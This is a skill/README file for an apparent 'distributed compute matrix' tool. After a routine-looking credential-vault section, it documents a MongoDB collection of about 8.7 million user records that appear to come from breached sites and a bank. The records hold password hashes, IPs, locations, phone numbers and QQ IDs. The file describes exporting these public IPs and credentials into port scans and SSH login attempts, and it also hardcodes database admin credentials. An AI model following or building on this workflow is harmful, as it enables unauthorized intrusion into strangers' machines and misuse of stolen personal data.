Files
suanli-juzhen/02_账号密码管理/SKILL.md
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

391 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
name: 账号密码管理
description: 分布式算力矩阵 - 凭证统一管理(账号密码/SSH密钥/API Token+ IP用户RFM资产库含地区/手机/QQ
triggers: 账号管理、密码管理、凭证、密钥管理、credential、IP用户、分布式矩阵IP、RFM、地区
owner: 卡若
version: "2.1"
updated: "2026-02-15"
---
# 02_账号密码管理
> 核心任务:安全、高效地管理所有节点的登录凭证,支撑快速登录部署
> 新增IP用户RFM资产库`KR.分布式矩阵IP`为扫描模块提供IP弹药库
---
## 一、模块概述
账号密码管理模块是分布式算力矩阵的「安全基座」,统一管理所有节点的登录凭证,实现一处管理、处处可用,同时确保凭证安全不泄漏。
## 二、功能架构
```
┌─────────────────────┐
│ 凭证管理中心 │
│ (Credential Vault) │
└──────────┬──────────┘
┌───────────┬───────┴───────┬───────────┐
▼ ▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ SSH密钥 │ │ 账号密码 │ │ API Token│ │ 证书管理 │
│ 管理 │ │ 存储 │ │ 管理 │ │ │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
```
## 三、凭证类型
### 1. SSH密钥对
| 项目 | 说明 |
|:---|:---|
| 生成 | Ed25519推荐/ RSA-4096 |
| 存储 | `~/.ssh/` + 加密备份 |
| 分发 | 自动推送公钥到目标节点 |
| 轮换 | 每90天自动轮换 |
```bash
# 生成SSH密钥对
ssh-keygen -t ed25519 -C "matrix-node-$(date +%Y%m%d)" -f ~/.ssh/matrix_key
# 批量推送公钥
python scripts/push_ssh_keys.py --hosts hosts.json --key ~/.ssh/matrix_key.pub
```
### 2. 账号密码
| 项目 | 说明 |
|:---|:---|
| 加密方式 | AES-256-GCM |
| 存储格式 | SQLCipher加密数据库 |
| 主密钥 | 本地keyring / 环境变量 |
| 分类 | SSH/RDP/Web/Database/API |
**密码策略**
- 长度 >= 16位
- 包含大小写 + 数字 + 特殊字符
- 自动生成随机强密码
- 禁止明文存储
### 3. API Token / Access Key
| 项目 | 说明 |
|:---|:---|
| 类型 | Bearer Token / API Key / OAuth |
| 作用域 | 按节点/按服务/按权限 |
| 有效期 | 可配置过期时间 |
| 刷新 | 支持自动刷新Token |
### 4. 证书管理
| 项目 | 说明 |
|:---|:---|
| 类型 | TLS证书 / 客户端证书 |
| 用途 | 节点间加密通信 |
| 管理 | 自动续期提醒 |
---
## 四、凭证数据库结构
```sql
-- 主机表
CREATE TABLE hosts (
id INTEGER PRIMARY KEY,
ip TEXT NOT NULL,
hostname TEXT,
os TEXT,
group_name TEXT,
status TEXT DEFAULT 'active',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 凭证表(加密存储)
CREATE TABLE credentials (
id INTEGER PRIMARY KEY,
host_id INTEGER REFERENCES hosts(id),
cred_type TEXT NOT NULL, -- ssh_key / password / token / cert
username TEXT,
encrypted_value BLOB NOT NULL, -- AES-256-GCM加密
port INTEGER DEFAULT 22,
priority INTEGER DEFAULT 0, -- 优先使用的凭证
expires_at TIMESTAMP,
last_used TIMESTAMP,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 凭证使用日志
CREATE TABLE credential_logs (
id INTEGER PRIMARY KEY,
credential_id INTEGER REFERENCES credentials(id),
action TEXT, -- login / deploy / test
result TEXT, -- success / failed
detail TEXT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```
---
## 五、核心功能
### 5.1 凭证录入
```bash
# 单条录入
python scripts/cred_manager.py add --host 192.168.1.100 --user root --type password
# 从扫描结果批量导入
python scripts/import_hosts.py --from ../01_扫描模块/results/assets.json
# 从CSV批量导入
python scripts/import_hosts.py --csv hosts.csv
```
### 5.2 凭证验证
```bash
# 验证单台主机凭证
python scripts/cred_manager.py test --host 192.168.1.100
# 批量验证所有凭证
python scripts/cred_manager.py test-all --parallel 50
# 输出验证报告
python scripts/cred_manager.py report --output cred_report.json
```
### 5.3 快速登录
```bash
# 通过凭证库快速SSH登录
python scripts/quick_login.py --host 192.168.1.100
# 交互式选择主机登录
python scripts/quick_login.py --interactive
# 批量执行命令
python scripts/batch_exec.py --group "linux-nodes" --cmd "uname -a"
```
### 5.4 凭证轮换
```bash
# 轮换指定主机密码
python scripts/cred_rotate.py --host 192.168.1.100
# 批量轮换SSH密钥
python scripts/cred_rotate.py --type ssh_key --all
# 查看即将过期的凭证
python scripts/cred_manager.py expiring --days 30
```
---
## 六、脚本清单
| 脚本 | 功能 | 说明 |
|:---|:---|:---|
| `cred_manager.py` | 凭证管理主程序 | 增删改查、验证、报告 |
| `import_hosts.py` | 主机导入 | 从扫描结果/CSV导入 |
| `quick_login.py` | 快速登录 | 自动匹配凭证登录 |
| `batch_exec.py` | 批量执行 | 批量远程命令执行 |
| `cred_rotate.py` | 凭证轮换 | 自动更换密码/密钥 |
| `push_ssh_keys.py` | SSH密钥分发 | 批量推送公钥 |
| `cred_backup.py` | 凭证备份 | 加密导出/导入 |
---
## 七、安全规范
| 规范 | 说明 |
|:---|:---|
| 禁止明文 | 所有密码/Token必须加密存储 |
| 最小权限 | 每个凭证仅授予必要权限 |
| 审计日志 | 所有凭证使用记录可追溯 |
| 定期轮换 | SSH密钥90天、密码60天、Token按需 |
| 备份加密 | 凭证备份文件必须加密 |
| 环境隔离 | 主密钥不入库,通过环境变量/keyring |
---
## 八、配置文件
`config/cred_config.yaml` 示例:
```yaml
vault:
db_path: ./data/credentials.db
encryption: AES-256-GCM
master_key_source: keyring # keyring / env / file
policy:
password_min_length: 16
ssh_key_type: ed25519
rotation:
ssh_key_days: 90
password_days: 60
token_days: 30
auto_test:
enabled: true
interval: 3600
parallel: 50
timeout: 10
backup:
enabled: true
path: ./backups/
encrypt: true
keep_days: 30
```
---
## 九、IP用户RFM资产库分布式矩阵IP
### 9.1 概述
从本机 MongoDB 全库扫描,提取所有含真实 IP 地址的用户数据,统一字段 + RFM评估后写入 `KR.分布式矩阵IP` 集合,作为分布式算力矩阵的**IP弹药库**。
### 9.2 数据源8个集合 → 1张统一表
| # | 来源数据库 | 来源集合 | IP字段 | 数据量 | 含账号密码 |
|---|----------|---------|--------|--------|-----------|
| 1 | KR_KR | 木蚂蚁munayi_com | regip/lastip | 115,529 | username + MD5 |
| 2 | KR_KR | 房产网 | regip | 119,340 | username + MD5+salt |
| 3 | KR_卡若私域 | 老坑爹论坛 lkdie.com | regip | 89,316 | username + MD5+salt |
| 4 | KR_卡若私域 | 老坑爹商店 shop.lkdie.com | loginIp/createdIp | 662 | nickname + Base64+salt |
| 5 | KR_卡若私域 | 黑科技 quwanzhi.com | ip交易IP | 5,108 | 支付账号 |
| 6 | KR_商城 | 小米 xiaomi_com | ip | 8,278,197 | username + Hash+salt |
| 7 | KR_国外 | 卡塔卡银行_用户档案 | LAST_LOGIN_IP | 105,561 | USERNAME + 加密凭证 |
| 8 | KR_国外 | 卡塔卡银行_审计主表 | LOGON_IP | 28 | BASE_NO |
| | | **合计** | | **8,713,741** | |
### 9.3 统一字段Schemav2.0
```
KR.分布式矩阵IP
├── username - 用户名
├── email - 邮箱/账号
├── password - 密码(哈希值)
├── salt - 盐值
├── region - 地区(国家|省|市GeoLite2-City定位
├── country - 国家
├── province - 省/州
├── city - 城市
├── phone - 手机号从verifiedMobile/email/username提取
├── qq - QQ号从@qq.com邮箱/纯数字用户名提取)
├── ip - 主IP地址优先lastip其次regip
├── ip_reg - 注册IP
├── ip_last - 最后登录IP
├── ip_public - 是否公网IPBoolean
├── source_db - 来源数据库名
├── source_col - 来源集合名
├── reg_time - 注册时间
├── last_active_time- 最后活跃时间
├── R_score - Recency 近期活跃度1-5分
├── F_score - Frequency 活跃频率1-5分
├── M_score - Monetary 贡献值1-5分
├── RFM_total - RFM总分3-15分
├── value_level - 价值等级(高/中高/中/低/流失)
├── user_type - 用户类型(重要价值/保持/发展/挽留/一般)
├── roles - 角色(如有)
├── extra - 扩展字段uid/posts/credits/密码类型等)
└── extracted_at - 提取时间
```
### 9.4 关键统计v2.0
| 指标 | 数值 |
|:---|:---|
| 总文档数 | 8,713,741 |
| 公网IP数 | 8,702,991 |
| 内网IP数 | 10,750 |
| 有省份定位 | 2,643,051 (30.3%) |
| 有城市定位 | 2,593,669 (29.8%) |
| 有手机号 | 29,176 |
| 有QQ号 | 747,603 |
**地区TOP10**
| 省份 | 用户数 |
|:---|:---|
| 广东 | 566,068 |
| 上海市 | 355,226 |
| 北京市 | 268,026 |
| 江苏 | 187,040 |
| 浙江 | 144,850 |
| 四川 | 127,868 |
| 山东 | 122,760 |
| 陕西 | 104,230 |
| 福建省 | 93,066 |
| 湖北 | 82,757 |
### 9.5 查询示例
```javascript
// 连接
mongosh "mongodb://admin:admin123@localhost:27017/KR?authSource=admin"
// 查看公网IP用户带密码+地区)
db.分布式矩阵IP.find({ip_public: true, password: {$ne: ""}}).limit(10)
// 按来源统计(含地区/手机/QQ覆盖率
db.分布式矩阵IP.aggregate([
{$group: {_id: "$source_col", count: {$sum: 1},
has_region: {$sum: {$cond: [{$ne: ["$province", ""]}, 1, 0]}},
has_phone: {$sum: {$cond: [{$ne: ["$phone", ""]}, 1, 0]}},
has_qq: {$sum: {$cond: [{$ne: ["$qq", ""]}, 1, 0]}}
}},
{$sort: {count: -1}}
])
// 按省份查询
db.分布式矩阵IP.find({province: "广东"}).limit(10)
// 按城市查询
db.分布式矩阵IP.find({city: "泉州市"}).limit(10)
// 查找有手机号的用户
db.分布式矩阵IP.find({phone: {$ne: ""}}).limit(10)
// 查找有QQ号的用户
db.分布式矩阵IP.find({qq: {$ne: ""}}).limit(10)
// 查找高价值用户
db.分布式矩阵IP.find({RFM_total: {$gte: 10}}).sort({RFM_total: -1})
// 导出指定省份的公网IP供扫描
db.分布式矩阵IP.distinct("ip", {province: "广东", ip_public: true})
```
### 9.6 提取脚本
| 脚本 | 路径 | 功能 |
|:---|:---|:---|
| `extract_ip_users_rfm.py` | `scripts/extract_ip_users_rfm.py` | 全量提取+RFM评估+写入KR.分布式矩阵IP |
```bash
# 重新执行全量提取(会清除旧数据重建)
python3 scripts/extract_ip_users_rfm.py
```
### 9.7 与扫描模块联动
```
02_账号密码管理 01_扫描模块
┌─────────────────────┐ ┌──────────────────────┐
│ KR.分布式矩阵IP │ │ │
│ ├── 431万去重公网IP │──导出IP──▶│ IP段扫描 → 端口扫描 │
│ ├── 用户名/密码 │──凭证库──▶│ SSH登录测试 │
│ └── RFM价值评估 │──优先级──▶│ 高价值IP优先扫描 │
└─────────────────────┘ └──────────────────────┘
```
### 9.8 IP字段扫描报告
详见:`references/MongoDB_IP字段扫描报告.md`全库29个数据库扫描记录